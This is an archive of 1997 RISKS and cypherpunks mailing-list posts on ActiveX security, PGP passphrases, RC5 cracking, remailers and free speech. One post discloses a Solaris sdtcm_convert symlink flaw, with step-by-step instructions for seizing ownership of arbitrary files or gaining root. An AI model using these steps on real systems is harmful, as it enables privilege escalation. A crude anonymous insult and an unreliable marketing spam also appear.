<URL:http://www.sat-net.com/L.Wood/><L.Wood@ieee.org>+44-1483-300800x3435

---------- Forwarded message ----------
Date: Fri, 21 Feb 1997 10:31:18 -0500
>From: glen mccready <glen@qnx.com>
Subject: MS on the CCC ActiveX virus
Forwarded-by: garman@phs.k12.ar.us (Jason Garman)
>From: Site Builder Network <sbn@MICROSOFT.COM>
Subject: SBN Wire: News Flash

Dear Site Builder Network Member,

Tomorrow, Microsoft will be posting the attached letter to our web site, and
sending it out to the Internet Explorer community.  In it, Brad Silverberg
addresses head-on the recent security questions facing the industry
regarding malicious, unsigned controls.  We know this issue is important to
you and your customers, and wanted to give you a heads-up.

For more information, check out http://www.microsoft.com/security

Tod Nielsen, General Manager, Developer Relations Group

 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =

>From the Office of Brad Silverberg
Senior Vice President
Microsoft Corporation
1 Microsoft Way
Redmond, WA  98052

Dear Internet Users Everywhere:

You may have heard reports about a malicious software program created and
demonstrated recently by the Chaos Computer Club (CCC) in Hamburg, Germany.
I want to personally assure you that Microsoft(R) Internet Explorer 3.0 has
the appropriate safeguards to protect against this type of threat.  By using
its default security level (High) that comes pre-set, Internet Explorer 3.0
will not download and run any "unsigned" control such as the one from the
CCC.

The CCC demonstrated its malicious executable code running on Microsoft
Internet Explorer 3.0, though they could just as easily have demonstrated a
similar attack on any other browser.  While it is unfortunate that hackers
have created this harmful program, it does point out the need for users to
act cautiously and responsibly on the Internet, just as they do in the
physical world.

Malicious code can be written and disguised in many ways - within
application macros, Java(tm) applets, ActiveX(tm) controls, Navigator
plug-ins, Macintosh(R) applications and more.  For that reason, with
Internet Explorer 3.0, Microsoft has initiated efforts to protect users
against these threats.  Microsoft Authenticode(tm) in Internet Explorer 3.0
is the only commercial technology in use today that identifies who published
executable code you might download from the Internet, and verifies that it
hasn't been altered since publication.

If users choose to change the default security level from High to Medium,
they still have the opportunity to protect themselves from unsigned code.
At a Medium setting, prior to downloading and running executable software on
your computer, Microsoft Internet Explorer presents you with a dialog either
displaying the publisher's certificate, or informing you that an "unsigned
control" can be run on your machine.  At that point, in either case, you are
in control and can decide how to proceed.

As you know, Microsoft is committed to giving users a rich computing
experience while providing appropriate safeguards.  Most useful and
productive applications need a wide range of system services, and would be
seriously limited in functionality without access to these services.  This
means that many Java applications will have to go "outside the sandbox" to
provide users with rich functionality.  By signing code, a developer can
take advantage of these rich services while giving users the authentication
and integrity safeguards they need.  Other firms such as Sun and Netscape
are following our lead, and have announced that they will also provide code
signing for Java applets. Microsoft will also be providing an enhanced Java
security model in the future, giving users and developers flexible levels of
functionality and security.

Microsoft takes the threat of malicious code very seriously.  It is a
problem that affects everyone in our industry.  This issue is not tied to
any specific vendor or group of people.  All of us that use computers for
work, education, or just plain fun need to be aware of potential risks and
use the precautions that can insure we all get the most out of our
computers. For this reason, we are committed to providing great safeguards
against these types of threats in Internet Explorer.  We expect hackers and
virus writers to get increasingly sophisticated but we pledge we'll continue
to keep you and us one step ahead of them.

Brad Silverberg

P.s. Be sure to check out our Web Executable Security Advisor at
http://www.microsoft.com/security

------------------------------

Date: Thu, 20 Feb 1997 10:43:36 -0800
From: Travis Winfrey <travis@lombard.com>
Subject: Microsoft "defends" ActiveX

The site http://www.news.com/News/Item/0,4,8096,00.html?latest discusses the
MS response to the activeX/quicken bug where downloaded activeX applets can
actually transfer real money out of your bank account (bug not applicable in
America).  They point to this URL:
        http://www.microsoft.com/security/
which has this instant-classic paragraph, emphasis not in the original:

        While the Java sandbox enforces a high degree of security, 
        it does not let users download and run exciting multimedia 
        games or other full-featured programs on their computers. 
    <EM>
        As a result, users may want to download code that has full
        access to their computers' resources. 
    </EM>

------------------------------

Date: 15 Aug 1996 (LAST-MODIFIED)
From: RISKS-request@csl.sri.com
Subject: Abridged info on RISKS (comp.risks)

 The RISKS Forum is a MODERATED digest.  Its Usenet equivalent is comp.risks.
=> SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) 
 if possible and convenient for you.  Or use Bitnet LISTSERV.  Alternatively,
 (via majordomo) DIRECT REQUESTS to <risks-request@csl.sri.com> with one-line, 
   SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or
   INFO     [for unabridged version of RISKS information]
=> The INFO file (submissions, default disclaimers, archive sites, .mil/.uk
 subscribers, copyright policy, PRIVACY digests, etc.) is also obtainable from
 http://www.CSL.sri.com/risksinfo.html  ftp://www.CSL.sri.com/pub/risks.info
 The full info file will appear now and then in future issues.  *** All 
 contributors are assumed to have read the full info file for guidelines. ***
=> SUBMISSIONS: to risks@CSL.sri.com with meaningful SUBJECT: line.
=> ARCHIVES are available: ftp://ftp.sri.com/risks or
 ftp ftp.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>cd risks
 or http://catless.ncl.ac.uk/Risks/VL.IS.html      [i.e., VoLume, ISsue].
 The ftp.sri.com site risks directory also contains the most recent 
 PostScript copy of PGN's comprehensive historical summary of one liners:
   get illustrative.PS

------------------------------

End of RISKS-FORUM Digest 18.83 
************************

Standard Risks reuse disclaimer:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 22 Feb 1997 00:22:00 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: IDEA/Strength?
Message-ID: <01IFP9X27J408Y52G0@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"stewarts@ix.netcom.com"  "Bill Stewart" 22-FEB-1997 03:05:51.28

>At 04:21 PM 2/21/97 -0500, Alec wrote:
>>Is the strength, or lack thereof, of conventional PGP encryption
>>proportional to the length of the conventional password?

>Sure, up to 128 bits of entropy.  Go check out pgpcrack.  

	Another way to put it is that the length places a _maximum_
on the entropy; no more than 7 bits (unless PGP's interface can
deal with control/etcetera keys) minus a fractional bit (for
characters like delete) per character. Of course, simply expanding
a passphrase of "a" to "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" won't do you much good... but
most non-pathological passphrases will expand in entropy as they
expand in length. (There is the consideration, however, that a
lengthy passphrase may need to be in alphabetical characters,
as opposed to alphanumeric, due to human memory limitations. If
you didn't/don't have that, then even a completely random
over-19-character long passphrase (enough to be more than 128
effective bits going in) could be of assistance; greater length
makes it more likely that someone observing you will miss
enough of the passphrase to make a search impractical.)
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Sat, 22 Feb 1997 00:48:06 -0800 (PST)
To: cryptography@c2.net
Subject: No Subject
Message-ID: <199702220848.AAA21157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


CC: 
From: stewarts@ix.netcom.com (Bill Stewart)
Subject: 167-digit number factored
X-Mailer: Mozilla/2.1 (compatible; Opera/2.1; Windows 95)

The article's gotten a bit garbled through replies, but this was on sci.crypt.

> In article <phrE5EDtw.D1w@netcom.com> phr@netcom.com (Paul Rubin) writes:
> >In article <5dna0l$nrl@arthur.cs.purdue.edu>,
> >Samuel S Wagstaff <ssw@cs.purdue.edu> wrote:
> 
> >>On Tuesday, 4 February 1997, we completed the factorization of a
> >>composite number of 167 digits, one of the `More Wanted' factorizations
> >>of the Cunningham Project.  It is:
> >>
> >>3,349- = (3^349 - 1)/2 = c167 = p80 * p87
> >>
> 
> >Congratulations.... was this factorization much easier than
> >factoring a general 167 (or 160) digit number?
> 
>     Yes, this c167 is much easier.  I just finished the 136-digit number 
> 
>               n = (2^454 - 2^341 + 2^227 - 2^114 + 1)/13
> 
> (a divisor of (2^1362 + 1)/(2^454 + 1)).  The sieving took
> 85 machine-days (about two weeknights) on a network of 60 SGI machines, 
> and took advantage of n's representation as a polynomial in 2^113.  
> Last year's factorization of RSA130 (130 digits) took 6 calendar-months 
> to sieve, at multiple sites.  By the way, the new factorization is
> n = p49 * p88, where
> 
>         p49 = 2393102462756185953833037662530180237989024296581
>         p88 = 14952485345141425227257136559467580083134337 \
>               51379919088823926933276083374444560702796609
> 
>     The c167 factorization of (3^349 - 1)/2 was about as hard 
> as doing a general number around 115-120 digits.
> -- 
>         Peter L. Montgomery    pmontgom@cwi.nl    San Rafael, California
> 
> A mathematician whose age has doubled since he last drove an automobile.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 21 Feb 1997 23:07:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Forgery detection
Message-ID: <199702220636.HAA10947@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' Maya's 16Kb brain's single convolution is 
directly wired to his rectum for input and his T1 mouth for 
output. That's 16K bits, not bytes. Anal intercourse has 
caused extensive brain damage.

          o-:^>___? Timmy `C' Maya
          `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 22 Feb 1997 09:36:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Security hole in Solaris 2.5 (sdtcm_convert) + exploit
In-Reply-To: <Pine.GSO.3.95.970222170729.18883B-100000@sundy.cs.pub.ro>
Message-ID: <199702221736.JAA10536@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone in Romania writes:

> Another hole in Solaris

Horrors no!  

> The exploit is very simple. Change the permision mode of your calendar
> file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
> sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
> correct it (it 'll ask you first). You have only to delete the callog file
> and make a symbolic link to a target file and your calendar file and said to
> sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
> file ...  

Where would Unix be without symbolic links and race conditions?  

This is cute, in that rather than having to mung a symbolic link on
the fly, the program conveniently asks for user input with suid set,
and then pauses while you set the trap.  

Good work. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: earle@zero.genx.net (Earle Ady)
Date: Sat, 22 Feb 1997 09:16:59 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: DES Crack Hype
In-Reply-To: <330E7218.716A@sk.sympatico.ca>
Message-ID: <199702221715.MAA07384@zero.genx.net>
MIME-Version: 1.0
Content-Type: text


# > > > For instance, New Media Laboratories provides no source code for their
# > > > software, nor any type of documentation to track what it 'should' be
# > > > doing vs. what it 'is' doing.
# > >
# > > I had no difficulty obtaining source from them for benchmarking/porting
# > > reasons.  I do freely admit that there is a lack of documentation.

  Let's clear a few things up right off the bat here.  This whole thing
  was done strictly out of complete boredom with the participation
  of a small group of people, mainly online friends.  Needless to say
  it has grown at a seemingly exponential rate, putting us somewhere
  in the ballpark of having a "real shot" at this.

  Source code was initially released on a very early version of the
  RC5-client, after a half dozen or so rogue clients started up, we
  decided to quickly strop distributing source code until the whole
  client->server protocol could be devised "the right way"..  Source
  code for "current" client will be released as well, hopefully very
  soon now.

  Well documentation for what it is doing?  It's uh, doing some math
  or something; that's retarded.

  Documentation for running?  Well, I suppose anyone unfamiliar with normal
  ``man(1)'' style syntaxing would find it cryptic at best, but it should
  be fairly straight forward.  Now that there actually seems to be extensive
  participation in this, we're doing a FAQ on the website.  Hopefully this
  will alleviate alot of this.

# >   I have had no difficulty in obtaining silence in response to my
# > email regarding New Media Labaoratories and their software.
# >   When I received your post, I was on the verge of deciding that their
# > silence was an indication that they wanted me to consider myself their
# > official spokesperson.
# >   That would have been fun.

  Generally I dont waste my time dealing with such ludicrous issues.  You
  people should all realize, that no matter what you do, no matter how
  you do it, as soon as it hit's mailing lists or newsgroups, someone has
  opinions about it, as well as "a better way of doing it".  Well whatever,
  it's all just a monumental waste of bandwidth.

# > 
# > > > It reports results which are obviously
# > > > in error, and there is no way to divine the source or cause of those
# > > > false results.

  If you are speaking of the website statistics, well I'm not even going
  to get involved in this.  I'm working on "doing it right" as time
  permits.  I didnt have much to do with the one that is up there now.

# > 
# >   However, I am referring to the stats that I get on my own machine after
# > the keys have been 'checked'. I had one message telling me, "Keyspace
# > exhausted in 243.12 minutes." The only problem is that it actually took
# > slightly under an hour. If it is wrong about the time, then how can I
# > be expected to believe that it is right about the keys being checked?

  This is due to the fact that you have a bum client :)  New clients,
  (all compiles are being verified by me before put online) are becomming
  available now.  Proxies for all of the platforms we're supporting will
  be available too; caching proxies underway as well.

  The vast majority of the initial clients were not ported by my me.

# > > A second generation of key serv statistics reporting with wiz-bang
# > > graphics and other cool crap can be expected by the end of this
# > > weekend.

  Uh, terrific.

# > 
# >   This is precisely my point. None of the people that are running these
# > programs on our machines have any way of knowing just exactly what is
# > taking place here.
# > <crap deleted>

  I'm getting more and more distressed about this utter waste of bandwidth
  the further down I get here.

  I will put specifics on how the server assigns keyspace onto the website
  in due time.  Frankly, I do not expect, or care, to be the one to break
  this key.  I in no way, shape or form, give unfair advantages to any
  of the participants.  Keys are assigned, they are not ranked and assigned
  based on any preference whatsoever.  This is pretty ridiculous.

  
# > 
# >   I was impressed with the genx homepage and the number of platforms to
# > which the software had been ported. The software itself was ported to
# > Win95 with at least enough competence to do 'something', as opposed to
# > requiring me to reinvent the wheel in order to get it to run.
# >   But I still don't know what it does, in fact, do, or if I am just
# > pissing in the wind by running it. (Or if it was written by the same
# > guys who killed Kennedy).
# >
# >   So, although I appreciate your efforts, until I find a basis for
# > deciding otherwise, I will be using the Orange Crayola to connect
# > you on my chart to the bad-guys on the X Files.

  The client allows you to participate in the RC5-56 contest (at no unfair
  advantage or disadvantage).  That is the bottom line.  If you wish to
  participate, we'd greatly welcome any instructions you can spare.  If
  you don't, that's fine too, best of luck.

earle.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Feb 1997 12:57:50 -0800 (PST)
To: Earle Ady <earle@zero.genx.net>
Subject: Re: DES Crack Hype
In-Reply-To: <199702221715.MAA07384@zero.genx.net>
Message-ID: <330F7A0C.634E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Earle Ady wrote:
> 
> # > > > For instance, New Media Laboratories provides no source code for their
> # > > > software, nor any type of documentation to track what it 'should' be
> # > > > doing vs. what it 'is' doing. 
>   Source code was initially released on a very early version of the
>   RC5-client, after a half dozen or so rogue clients started up, we
>   decided to quickly strop distributing source code until the whole
>   client->server protocol could be devised "the right way".. 

   I didn't get a rogue client. I got a client off of your ftp server.
And I have no idea what it is doing.

>   Well documentation for what it is doing?  It's uh, doing some math
>   or something; that's retarded.

  Is it doing the kind of math that cracks encryption? Or the kind of 
math
that fucks up hard-drives and operating systems?
  It seems to like to access the hard drive for two solid minutes for no
apparent reason while it is connected to your server and, according to
the message, "sleeping." A lot of things can be done in two minutes of
access to a hard drive.
 
>   Now that there actually seems to be extensive
>   participation in this, we're doing a FAQ on the website.  Hopefully this
>   will alleviate alot of this.

  I can appreciate that you seem to have been playing in the backyard
with friends when the whole neighborhood decided to show up and play
with you, but you should realize that if you are serious about gaining
enough support to take your best shot at the DES Crack, that you will
have to provide strangers with enough info to feel comfortable about
running your software on their machines and those of their employers,
etc.
  Some of my readers have sent me email asking if they should be 
concerned about running this-or-that software on their business
boxes, and I tell them, "You should be concerned about everything
you run on your business machine."
   "It's uh, doing some math or something..." isn't a very good basis
for people to run the software on a few million bucks worth of hardware.

>   as soon as it hit's mailing lists or newsgroups, someone has
>   opinions about it, as well as "a better way of doing it".  Well whatever,
>   it's all just a monumental waste of bandwidth.

  I don't think it is a waste of bandwith to question whether people
should feel comfortable downloading and running applications which
provide neither source code nor documentation that can be used to
judge the competence and/or integrity of those producing it.

> # >   However, I am referring to the stats that I get on my own machine after
> # > the keys have been 'checked'. I had one message telling me, "Keyspace
> # > exhausted in 243.12 minutes." The only problem is that it actually took
> # > slightly under an hour. If it is wrong about the time, then how can I
> # > be expected to believe that it is right about the keys being checked?
> 
>   This is due to the fact that you have a bum client :)

  Yet you still call me a fucking retard for wanting to be able
to verify that your software isn't going to turn my machine into
a toaster?

>   New clients,
>   (all compiles are being verified by me before put online) are becomming
>   available now.  Proxies for all of the platforms we're supporting will
>   be available too; caching proxies underway as well.

  This doesn't matter for shit if you have nothing in place to provide
info in this regard for those participating in your group effort.
  
>   I'm getting more and more distressed about this utter waste of bandwidth
>   the further down I get here.

  Since my efforts have led to me finding out that I have a "bum client",
the bandwidth is serving my purpose very well.
 
> # >   I was impressed with the genx homepage and the number of platforms to
> # > which the software had been ported. The software itself was ported to
> # > Win95 with at least enough competence to do 'something', as opposed to
> # > requiring me to reinvent the wheel in order to get it to run.
> # >   But I still don't know what it does, in fact, do, or if I am just
> # > pissing in the wind by running it. (Or if it was written by the same
> # > guys who killed Kennedy).
> # >
> # >   So, although I appreciate your efforts, until I find a basis for
> # > deciding otherwise, I will be using the Orange Crayola to connect
> # > you on my chart to the bad-guys on the X Files.
> 
>   The client allows you to participate in the RC5-56 contest (at no unfair
>   advantage or disadvantage).  That is the bottom line.  If you wish to
>   participate, we'd greatly welcome any instructions you can spare.  If
>   you don't, that's fine too, best of luck.

  Does this include us 'retards' who are 'wasting bandwidth'?

  I am sure that you all are taking great pains to develop the best
possible software for this endeavor, but unless you take care of the
'information' end of the spectrum, you will lose the participation of
those people who require a certain level of assurance that your 
softare meets a decent standard of competence, and that someone is
actually in charge and paying attention.

Toto
-- 
   "A long time ago, being crazy meant something.
  "Now, everybody's crazy."
                              Chuck Manson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 22 Feb 1997 16:06:07 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: IDEA/Strength?
In-Reply-To: <01IFP9X27J408Y52G0@mbcl.rutgers.edu>
Message-ID: <3.0.1.32.19970222160503.0064f008@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:57 AM 2/22/97 -0800, Toto wrote:
>> >>Is the strength, or lack thereof, of conventional PGP encryption
>> >>proportional to the length of the conventional password?
...
>  Are you saying that the strength of encryption provided by PGP
>is dependent upon the password one uses?

PGP _conventional_ encryption - the straight IDEA stuff,
not the public-key stuff.  pgp -c just uses a hash of a passphrase
as its encryption key, rather than generating a high-quality 128-bit key
and encrypting it with a public key.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 22 Feb 1997 16:09:06 -0800 (PST)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Security hole in Solaris 2.5 (sdtcm_convert) + exploit
In-Reply-To: <Pine.GSO.3.95.970222170729.18883B-100000@sundy.cs.pub.ro>
Message-ID: <3.0.1.32.19970222160819.00646170@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:36 AM 2/22/97 -0800, Mike Duvos wrote:
>> Another hole in Solaris
>Horrors no!  

.....

>Where would Unix be without symbolic links and race conditions?  
>
>This is cute, in that rather than having to mung a symbolic link on
>the fly, the program conveniently asks for user input with suid set,
>and then pauses while you set the trap.  

As with many programs from the BSD universe, it's running with
root privileges when it could have gotten by with group privileges
or run as "nobody" or some other safe approach instead....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Fri, 21 Feb 1997 19:57:17 -0800 (PST)
To: ses@tipper.oit.unc.edu
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <85658381511274@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>>I've just got the details on two new crypto chips produced by the Dutch 
>>company Pijnenburg Custom Chips B.V.  
>Were those prices 1-off? Any idea what the price would be for volume?
 
Those are one-off prices.  You'll have to contact Pijnenburg (see the address 
in the original message) for more details.
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Sat, 22 Feb 1997 07:14:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security hole in Solaris 2.5 (sdtcm_convert) + exploit
Message-ID: <Pine.GSO.3.95.970222170729.18883B-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain


Sat Feb 22 15:25:48 EET 1997 Romania

Another hole in Solaris

I have found a security hole in sdtcm_convert on Solaris 2.5.1.
sdtcm_convert - calendar data conversion utility - allows any user to
change the owner for any file (or directory) from the system or gain root
access. The exploit is very simple. Change the permision mode of your calendar
file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
correct it (it 'll ask you first). You have only to delete the callog file
and make a symbolic link to a target file and your calendar file and said to
sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
file ...  
A simple way to correct this is to get out suid_exec bit from
sdtcm_convert

I made an exploit, so you have to extract the text, uudecode it, and exec
a 'tar -xf exploit.tar'. You'll get the files in exploit_dir.


Cristian Schipor - Computer Science Faculty - Bucharest - Romania

Email: skipo@math.pub.ro skipo@sundy.cs.pub.ro skipo@ns.ima.ro
Phone: (401) 410.60.88



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I                                                        
 
end





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: earle@zero.genx.net (Earle Ady)
Date: Sat, 22 Feb 1997 17:34:20 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: DES Crack Hype
In-Reply-To: <330F7A0C.634E@sk.sympatico.ca>
Message-ID: <199702230132.UAA09174@zero.genx.net>
MIME-Version: 1.0
Content-Type: text


# And I have no idea what it is doing.
# 

  You probably should have gotten the source code along with it then.

# math
# that fucks up hard-drives and operating systems?
#   It seems to like to access the hard drive for two solid minutes for no
# apparent reason while it is connected to your server and, according to
# the message, "sleeping." A lot of things can be done in two minutes of
# access to a hard drive.
#  

  As you can see in the source code, the rc5-56-client software does
  not access the disk in any way, shape or form.  Unless your libc.so
  does something in sleep(2V) other than what normal distributions do,
  the program is really sleeping.

#    "It's uh, doing some math or something..." isn't a very good basis
# for people to run the software on a few million bucks worth of hardware.

  Plain and simple, don't run it.  If you do not feel comfortable running
  software, then don't run it.  I sure as hell wouldn't, and I don't
  expect you to.  

#   I don't think it is a waste of bandwith to question whether people
# should feel comfortable downloading and running applications which
# provide neither source code nor documentation that can be used to
# judge the competence and/or integrity of those producing it.

  Again, this is all irrelevant since source code has, and will continue to 
  be, available.

#   Yet you still call me a fucking retard for wanting to be able
# to verify that your software isn't going to turn my machine into
# a toaster?

  I think you misinterepreted what I said.  You should spend less time
  over-analyzing this, and more time looking over the source code for
  the client.

#   This doesn't matter for shit if you have nothing in place to provide
# info in this regard for those participating in your group effort.

  Again, this is irrelevalnt.  I have nothing but support from all the
  major groups of people participating in this.  The only person who
  seems so hostile towards this attempt, hasn't even bothered to even
  research what he is talking about.

#   Since my efforts have led to me finding out that I have a "bum client",
# the bandwidth is serving my purpose very well.

  No, it works fine.  The calculation on time is simply off as someone
  didn't compensate for a specific architecture properly.

#   Does this include us 'retards' who are 'wasting bandwidth'?

  This is so off the wall, I'm contemplating printing it out and framing
  it.

#   I am sure that you all are taking great pains to develop the best
# possible software for this endeavor, but unless you take care of the
# 'information' end of the spectrum, you will lose the participation of
# those people who require a certain level of assurance that your 
# softare meets a decent standard of competence, and that someone is
# actually in charge and paying attention.

  Like I said before.  Nobody is forcing you to do anything, as a matter
  of fact, I dont even recall asking you.  Naturally you, as well as
  everyone else, is more than welcome to participate in our efforts,
  and parts of this effort which may be lacking certain lusters will
  certainly be improved.  

  We are doing this in our spare time; I personally do not care to benefit 
  from this in anyway whatsoever.

  These issues are biased based on having obviously not spent enough time
  researching what you are talking about.  Source code has been available,
  you never bothered to even ask.

  I am not going to spend anymore time in apissing contest here.  We have
  around 4000 hosts running this, along with serious participation from
  major vendors.  Again, if you are at all concerned about this, then don't
  participate.  That is the bottom line.

earle.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sat, 22 Feb 1997 19:38:15 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Low-Risk Remailer Proposal
Message-ID: <Pine.LNX.3.95.970222223515.180B-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I would like to propose that persons wishing to run remailers but
concerned about possible political reprecussions institute a policy of
remailing only to other remailers.  This would increase the total
number of remailers, and decrease the chances that all or most of the
available remailers are compromised.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .             The path of least resistance leads to mediocrity.            .
 ............................................................................

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://www.efh.org/pgp/pgpwork.html explains this signature.

iQCVAwUBMw+7PMgbnd/MibbZAQFbOQQAo95fuNed1BF8wyDd0cut1yNrksg+kX3S
uW8YbnLHPZI4lctrSxs99L75Y1yxK3Q2+jijeWevnf9qfzIAItAEzxbANIFdoiZo
yYhoz/DdUvLepDPZc1t4owuNFcVs6EEBg++FrUxPsShp2SUGEOJ4yRO4p9lkTVkM
5mUBCGtJngo=
=UlcG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 22 Feb 1997 23:38:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead
In-Reply-To: <v03007800af358a3a3b74@[207.167.93.63]>
Message-ID: <199702230738.XAA15548@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May writes:

> Oh? And will the First Amendment then be repealed?

> "Congress shall make no law respecting the establishment of speech or
> prohibiting the free exercise thereof" seems rather clear: Congress cannot
> insist that a particular form of speech be used to the exclusion of others.

> A ban on coding messages, speaking in languages unintelligible to
> wiretappers, etc., would quite clearly be thrown out on First Amendment
> grounds, from everything I know of the Supreme Court and its reasoning.

The Supremes can bypass the First Ammendment anytime they choose by simply
mumbling something about "society's overwhelming interest in protecting
itself." 

Indeed, the plethora of regulation against various forms of "bad" speech
concerning children and their sexuality is the clearest example of this,
with the Knox "clothed child porn" decision, and the recent Hatch nonsense
making any suggestion of underage sexual activity illegal, regardless of
whether underaged models were involved in its production. 

I expect textual material will be outlawed in a few years as well, as a
"loophole" in the current laws, since real children no longer have to be
associated with such material in order for it to be deemed harmful. 

Once that happens, a whole bunch of other things will probably be outlawed
shortly thereafter, the criteria being that they are certainly as
dangerous as an illicit copy of "Aunt Sue and the Horny Paperboy." 

Expect bombmaking instructions, anti-government tracts, cryptography, and
most Loompanics books to be included here. 

> And so on. Banning unescrowed cryptography would result in the Mother of
> all Constitutional challenges, and would, I am sure, result in such a ban
> being declared unconstitutional. If throwing Alice in jail because she used
> a form of speech unacceptable to the rulers is not a violation of the
> First, nothing is.

The frog is nearly boiled.  If the Mother of all Constitutional Challenges
hasn't happened by now, it isn't going to.  This is a country that throws
grad students in prison for possessing films of young girls doing
gymnastics.  What makes you think unescrowed cryptography has some special
hallowed status? 

The First Ammendment is useless, as there are clear counterexamples to
unlimited free speech.  That makes it a matter of interpretation, and the
courts will interpret it according to the existing level of public
hysteria.  The Fourth Ammendment only guarantees us "due process."  We do
not, as some countries do, have a strong privacy provision written into
our Constitution.  I have always held that a well-written privacy
provision keeping the government out of peoples homes and personal 
possessions is worth ten First Ammendments. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: get.a.life@worldnet.att.net
Date: Sat, 22 Feb 1997 15:54:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tap in to You Income Potential
Message-ID: <19970222223625.AUJ19585@mailhost.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


Tap in to your own income potential and Make a Change for Life!

Why this Company?

* It answers the criteria established by both the Harvard Business School and the Kiplinger Personal Finance Magazine.

* It has been in business more than four years.  Their products trigger an emotional response, are consumable, and have been exposed to less thatn 1% of the population in the U.S.  The products are reasonably priced, easy to use and unique to the marketplace.  The company offers a 30 day money-back guarantee.  The products are in the explosive industries of health, weight management, nutrition, personal-care and telecommunications.

* It is approaching the stage of critical mass.  Getting involved with the company at this stage of momentum puts you in a position of substantial growth.

* The company is debt free.  It is a family-owned business dedicated to long-term growth.  It is also a product driven company.  Your income will be driven by retail sales and repeat business.

* You have the opportunity to earn income on up to sex levels deep as a Qualified Director.

Please take the time to visit the corporate home page at http://www.eola.com/.  Then give me a call or send me an e-mail to ask questions, to purchase products at retail or wholesale prices, or to set up your own distributorship.

I look forware to hearing from you,


Neda Hatcher
E'OLA Products Independent Distributor
get.a.life@woldnet.att.net

MasterCard and VISA accepted!
(318)688-2517

msg002





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pan D.Modium" <pandemodium@nym.alias.net>
